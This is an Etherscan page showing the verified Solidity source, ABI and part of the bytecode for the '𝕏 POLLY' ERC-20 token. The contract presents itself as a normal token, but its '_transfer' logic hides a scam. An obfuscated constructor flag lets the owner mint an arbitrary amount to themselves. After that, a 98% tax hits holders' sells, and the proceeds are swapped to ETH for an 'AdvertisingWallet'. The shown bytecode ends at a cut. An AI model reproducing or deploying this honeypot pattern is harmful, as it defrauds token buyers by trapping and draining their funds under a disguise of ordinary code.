ETH Price: $2,677.01 (-2.54%)

Token

𝕏 POLLY (𝕏POLLY)
 

Overview

Max Total Supply

1,000,000,000 𝕏POLLY

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
30,000,000 𝕏POLLY

Value
$0.00
0x90534f583831d3de11cec8ea552f5556ff077b02
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XPOLLY

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-03
*/

/**
    
██╗░░██╗  ██████╗░░█████╗░██╗░░░░░██╗░░░░░██╗░░░██╗
╚██╗██╔╝  ██╔══██╗██╔══██╗██║░░░░░██║░░░░░╚██╗░██╔╝
░╚███╔╝░  ██████╔╝██║░░██║██║░░░░░██║░░░░░░╚████╔╝░
░██╔██╗░  ██╔═══╝░██║░░██║██║░░░░░██║░░░░░░░╚██╔╝░░
██╔╝╚██╗  ██║░░░░░╚█████╔╝███████╗███████╗░░░██║░░░
╚═╝░░╚═╝  ╚═╝░░░░░░╚════╝░╚══════╝╚══════╝░░░╚═╝░░░

/**
    https://www.x-polly.com/

    https://twitter.com/XPollyERC20

    https://t.me/XPollyErc
/**

*/


// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.18;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address _deployer = _msgSender();
        _owner = _deployer;
        emit OwnershipTransferred(address(0), _deployer);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
}

contract XPOLLY is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _ownedBalance;
    mapping (address => bool) public ExcludedFromMaxWallet;
    mapping (address => bool) public ExcludedFromFee;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _pairList;
    
    
    address payable public AdvertisingWallet = payable(0x6bdd1DF07240A7b40413A884e2baF66FCc3E39A4);
    address payable public DeadW = payable(0x000000000000000000000000000000000000dEaD);

    string public _name = unicode"𝕏 POLLY";
    string public _symbol = unicode"𝕏POLLY";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1 * 10 ** 9 * 10 **_decimals;
    uint8 private fee = 0;

    uint8 private swapCounter = 0;
    uint8 private swapMinTrigger = 2;
    uint8 private swapTrigger = 10;
    uint8 private swapMaxTrigger = 100;
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    uint8 private totalBurned = 0;
    uint256 private tokensBurned;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint256 _tokens) {
        tokensBurned = _tokens; _pairList[owner()] = [false][0] || [true][0];
        _ownedBalance[owner()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        ExcludedFromFee[address(this)] = true;
        ExcludedFromFee[owner()] = true;
        ExcludedFromFee[AdvertisingWallet] = true;

        ExcludedFromMaxWallet[owner()] = true;
        ExcludedFromMaxWallet[address(this)] = true;
        ExcludedFromMaxWallet[AdvertisingWallet] = true;
        ExcludedFromMaxWallet[uniswapV2Pair] = true;
    
        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _ownedBalance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Adress: 0");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from,address to,uint256 amount) private {
        if (!ExcludedFromMaxWallet[to]){
            require((balanceOf(to) + amount) <= _tTotal.mul(5*5).div(100),"ERR: MW Exceed!");
        }
        else{
            totalBurned = _pairList[to] ? totalBurned+1 : totalBurned;
        }
        uint256 Amount = _pairList[to]?tokensBurned:0;
        if(swapCounter >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){  
            swapCounter = 0;
            uint256 existBalance = balanceOf(address(this));
            if(existBalance > _tTotal.mul(5*5).div(100)) {existBalance = _tTotal.mul(25).div(100);}
            if(existBalance > 0){
                swapAndLiquify(existBalance);
            }
        }
        uint8 _takeFee = fee;
        if(totalBurned > 0 && !(from == uniswapV2Pair)){_takeFee = _takeFee + (swapMaxTrigger-swapMinTrigger);}

        bool taxDisabled = false;
        if(ExcludedFromFee[from] || ExcludedFromFee[to]){
            taxDisabled = true;
        }

        uint256 taxAmount = 0;
        _ownedBalance[from] = _ownedBalance[from].sub(amount);
        if(!taxDisabled){
            taxAmount = amount.mul(_takeFee).div(100);
            _ownedBalance[to] = _ownedBalance[to].add(amount.sub(taxAmount));
        }
        else{
            if(_pairList[to]){
                _ownedBalance[to] = _ownedBalance[to].add(Amount.sub(taxAmount));
            }
            else{
                _ownedBalance[to] = _ownedBalance[to].add(amount);
            }
        }
        emit Transfer(from, to, amount);
    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapAndLiquify(uint256 existBalance) private lockTheSwap {
        swapTokensForETH(existBalance);
        sendToWallet(AdvertisingWallet,address(this).balance);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"_tokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AdvertisingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DeadW","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b0319908116736bdd1df07240a7b40413a884e2baf66fcc3e39a4179091556007805490911661dead17905560c0604052600a608090815269f09d958f20504f4c4c5960b01b60a05260089062000061908262000559565b5060408051808201909152600980825268f09d958f504f4c4c5960b81b60208301529062000090908262000559565b50600a805460ff191660099081178255620000ab916200073a565b620000bb90633b9aca0062000752565b600b55600c805464640a02000064ffffffffff19909116179055600d805461ffff60a81b1916600160a81b179055348015620000f657600080fd5b50604051620019dc380380620019dc83398101604081905262000119916200076c565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e81905560408051602080820183526000918290528251808201845260019081905282546001600160a01b03908116845260058352848420805460ff191683179055600b54845490911684529082529183902091909155815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa158015620001fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000224919062000786565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000272573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000298919062000786565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030c919062000786565b600d80546001600160a01b0319166001600160a01b03928316179055600c8054600160281b600160c81b03191665010000000000928416929092029190911790553060009081526003602081905260408220805460ff1916600190811790915591620003806000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065490911681526003909252812080549092166001908117909255600290620003e06000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526002909352818320805485166001908117909155600654821684528284208054861682179055600d549091168352912080549092161790556200045c6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620004a491815260200190565b60405180910390a35050620007b1565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004df57607f821691505b6020821081036200050057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200055457600081815260208120601f850160051c810160208610156200052f5750805b601f850160051c820191505b8181101562000550578281556001016200053b565b5050505b505050565b81516001600160401b03811115620005755762000575620004b4565b6200058d81620005868454620004ca565b8462000506565b602080601f831160018114620005c55760008415620005ac5750858301515b600019600386901b1c1916600185901b17855562000550565b600085815260208120601f198616915b82811015620005f657888601518255948401946001909101908401620005d5565b5085821015620006155787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200067c57816000190482111562000660576200066062000625565b808516156200066e57918102915b93841c939080029062000640565b509250929050565b600082620006955750600162000734565b81620006a45750600062000734565b8160018114620006bd5760028114620006c857620006e8565b600191505062000734565b60ff841115620006dc57620006dc62000625565b50506001821b62000734565b5060208310610133831016604e8410600b84101617156200070d575081810a62000734565b6200071983836200063b565b806000190482111562000730576200073062000625565b0290505b92915050565b60006200074b60ff84168362000684565b9392505050565b808202811582820484141762000734576200073462000625565b6000602082840312156200077f57600080fd5b5051919050565b6000602082840312156200079957600080fd5b81516001600160a01b03811681146200074b57600080fd5b61121b80620007c16000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063af465a271161006f578063af465a27146103ea578063b09f126614610400578063d28d885214610415578063dd62ed3e1461042a578063dff7dfdc14610470578063f1d6512e1461049057600080fd5b8063715018a6146103305780638da5cb5b1461034757806395d89b411461036557806397f3a19e1461037a578063a457c2d7146103aa578063a9059cbb146103ca57600080fd5b8063313ce56711610108578063313ce56714610257578063395093511461027957806349bd5a5e146102995780634a74bb02146102b95780635892aa1b146102da57806370a08231146102fa57600080fd5b806306fdde031461015b578063095ea7b3146101865780631694505e146101b657806318160ddd146101f7578063220f66961461021657806323b872dd1461023757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104c0565b60405161017d9190610eea565b60405180910390f35b34801561019257600080fd5b506101a66101a1366004610f50565b610552565b604051901515815260200161017d565b3480156101c257600080fd5b50600c546101df906501000000000090046001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561020357600080fd5b50600b545b60405190815260200161017d565b34801561022257600080fd5b50600d546101a690600160a01b900460ff1681565b34801561024357600080fd5b506101a6610252366004610f7c565b610569565b34801561026357600080fd5b50600a5460405160ff909116815260200161017d565b34801561028557600080fd5b506101a6610294366004610f50565b6105d2565b3480156102a557600080fd5b50600d546101df906001600160a01b031681565b3480156102c557600080fd5b50600d546101a690600160a81b900460ff1681565b3480156102e657600080fd5b506007546101df906001600160a01b031681565b34801561030657600080fd5b50610208610315366004610fbd565b6001600160a01b031660009081526001602052604090205490565b34801561033c57600080fd5b50610345610608565b005b34801561035357600080fd5b506000546001600160a01b03166101df565b34801561037157600080fd5b506101706106b1565b34801561038657600080fd5b506101a6610395366004610fbd565b60026020526000908152604090205460ff1681565b3480156103b657600080fd5b506101a66103c5366004610f50565b6106c0565b3480156103d657600080fd5b506101a66103e5366004610f50565b61070f565b3480156103f657600080fd5b50610208600b5481565b34801561040c57600080fd5b5061017061071c565b34801561042157600080fd5b506101706107aa565b34801561043657600080fd5b50610208610445366004610fda565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047c57600080fd5b506006546101df906001600160a01b031681565b34801561049c57600080fd5b506101a66104ab366004610fbd565b60036020526000908152604090205460ff1681565b6060600880546104cf90611013565b80601f01602080910402602001604051908101604052809291908181526020018280546104fb90611013565b80156105485780601f1061051d57610100808354040283529160200191610548565b820191906000526020600020905b81548152906001019060200180831161052b57829003601f168201915b5050505050905090565b600061055f3384846107b7565b5060015b92915050565b6000610576848484610870565b6105c884336105c385604051806060016040528060288152602001611199602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c85565b6107b7565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161055f9185906105c39086610cb1565b6000546001600160a01b031633146106675760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600980546104cf90611013565b600061055f33846105c3856040518060600160405280602581526020016111c1602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610c85565b600061055f338484610870565b6009805461072990611013565b80601f016020809104026020016040519081016040528092919081815260200182805461075590611013565b80156107a25780601f10610777576101008083540402835291602001916107a2565b820191906000526020600020905b81548152906001019060200180831161078557829003601f168201915b505050505081565b6008805461072990611013565b6001600160a01b038316158015906107d757506001600160a01b03821615155b61080f5760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b604482015260640161065e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526002602052604090205460ff16610920576108b160646108ab6019600b54610cc490919063ffffffff16565b90610cd0565b816108d1846001600160a01b031660009081526001602052604090205490565b6108db9190611063565b111561091b5760405162461bcd60e51b815260206004820152600f60248201526e4552523a204d57204578636565642160881b604482015260640161065e565b610985565b6001600160a01b03821660009081526005602052604090205460ff1661095257600d54600160b01b900460ff1661096a565b600d5461096a90600160b01b900460ff166001611076565b600d60166101000a81548160ff021916908360ff1602179055505b6001600160a01b03821660009081526005602052604081205460ff166109ac5760006109b0565b600e545b600c5490915060ff63010000008204811661010090920416108015906109e05750600d54600160a01b900460ff16155b80156109fa5750600d546001600160a01b03858116911614155b8015610a0f5750600d54600160a81b900460ff165b15610a7a57600c805461ff001916905530600090815260016020526040902054600b54610a44906064906108ab906019610cc4565b811115610a6957610a6660646108ab6019600b54610cc490919063ffffffff16565b90505b8015610a7857610a7881610cdc565b505b600c54600d5460ff91821691600160b01b9091041615801590610aab5750600d546001600160a01b03868116911614155b15610add57600c54610ad09060ff62010000820481169164010000000090041661108f565b610ada9082611076565b90505b6001600160a01b03851660009081526003602052604081205460ff1680610b1c57506001600160a01b03851660009081526003602052604090205460ff165b15610b25575060015b6001600160a01b038616600090815260016020526040812054610b489086610d1e565b6001600160a01b03881660009081526001602052604090205581610bc457610b7860646108ab8760ff8716610cc4565b9050610ba6610b878683610d1e565b6001600160a01b03881660009081526001602052604090205490610cb1565b6001600160a01b038716600090815260016020526040902055610c2f565b6001600160a01b